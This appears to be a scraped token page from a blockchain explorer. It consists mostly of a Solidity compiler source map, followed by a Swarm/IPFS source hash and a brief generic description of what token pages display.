4004:2;3994:8;3991:16;3985:3;3979:4;3976:13;3972:36;3966:2;3956:8;3953:16;3948:2;3942:4;3939:12;3935:35;3932:77;3929:159;;;-1:-1:-1;4041:19:1;;;4073:5;;3929:159;4120:34;4145:8;4139:4;4120:34;:::i;:::-;4190:6;4186:1;4182:6;4178:19;4169:7;4166:32;4163:58;;;4201:18;;:::i;:::-;4239:20;;3459:806;-1:-1:-1;;;3459:806:1:o;4270:140::-;4328:5;4357:47;4398:4;4388:8;4384:19;4378:4;4357:47;:::i;4415:168::-;4488:9;;;4519;;4536:15;;;4530:22;;4516:37;4506:71;;4557:18;;:::i;4588:330::-;4790:2;4772:21;;;4829:1;4809:18;;;4802:29;-1:-1:-1;;;4862:2:1;4847:18;;4840:37;4909:2;4894:18;;4588:330::o;5269:251::-;5339:6;5392:2;5380:9;5371:7;5367:23;5363:32;5360:52;;;5408:1;5405;5398:12;5360:52;5440:9;5434:16;5459:31;5484:5;5459:31;:::i;6446:306::-;6534:6;6542;6550;6603:2;6591:9;6582:7;6578:23;6574:32;6571:52;;;6619:1;6616;6609:12;6571:52;6648:9;6642:16;6632:26;;6698:2;6687:9;6683:18;6677:25;6667:35;;6742:2;6731:9;6727:18;6721:25;6711:35;;6446:306;;;;;:::o;7036:277::-;7103:6;7156:2;7144:9;7135:7;7131:23;7127:32;7124:52;;;7172:1;7169;7162:12;7124:52;7204:9;7198:16;7257:5;7250:13;7243:21;7236:5;7233:32;7223:60;;7279:1;7276;7269:12;9769:330;9971:2;9953:21;;;10010:1;9990:18;;;9983:29;-1:-1:-1;;;10043:2:1;10028:18;;10021:37;10090:2;10075:18;;9769:330::o;10104:125::-;10169:9;;;10190:10;;;10187:36;;;10203:18;;:::i;10234:135::-;10273:3;10294:17;;;10291:43;;10314:18;;:::i;:::-;-1:-1:-1;10361:1:1;10350:13;;10234:135::o;10374:128::-;10441:9;;;10462:11;;;10459:37;;;10476:18;;:::i;10639:127::-;10700:10;10695:3;10691:20;10688:1;10681:31;10731:4;10728:1;10721:15;10755:4;10752:1;10745:15;10771:217;10811:1;10837;10827:132;;10881:10;10876:3;10872:20;10869:1;10862:31;10916:4;10913:1;10906:15;10944:4;10941:1;10934:15;10827:132;-1:-1:-1;10973:9:1;;10771:217::o;11329:980::-;11591:4;11639:3;11628:9;11624:19;11670:6;11659:9;11652:25;11696:2;11734:6;11729:2;11718:9;11714:18;11707:34;11777:3;11772:2;11761:9;11757:18;11750:31;11801:6;11836;11830:13;11867:6;11859;11852:22;11905:3;11894:9;11890:19;11883:26;;11944:2;11936:6;11932:15;11918:29;;11965:1;11975:195;11989:6;11986:1;11983:13;11975:195;;;12054:13;;-1:-1:-1;;;;;12050:39:1;12038:52;;12145:15;;;;12110:12;;;;12086:1;12004:9;11975:195;;;-1:-1:-1;;;;;;;12226:32:1;;;;12221:2;12206:18;;12199:60;-1:-1:-1;;;12290:3:1;12275:19;12268:35;12187:3;11329:980;-1:-1:-1;;;11329:980:1:o

Swarm Source

ipfs://3fe8ff05029c73e013382e7e9163e9f0d6e1787bda8d45f1a11643a3a0ca9c9e
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.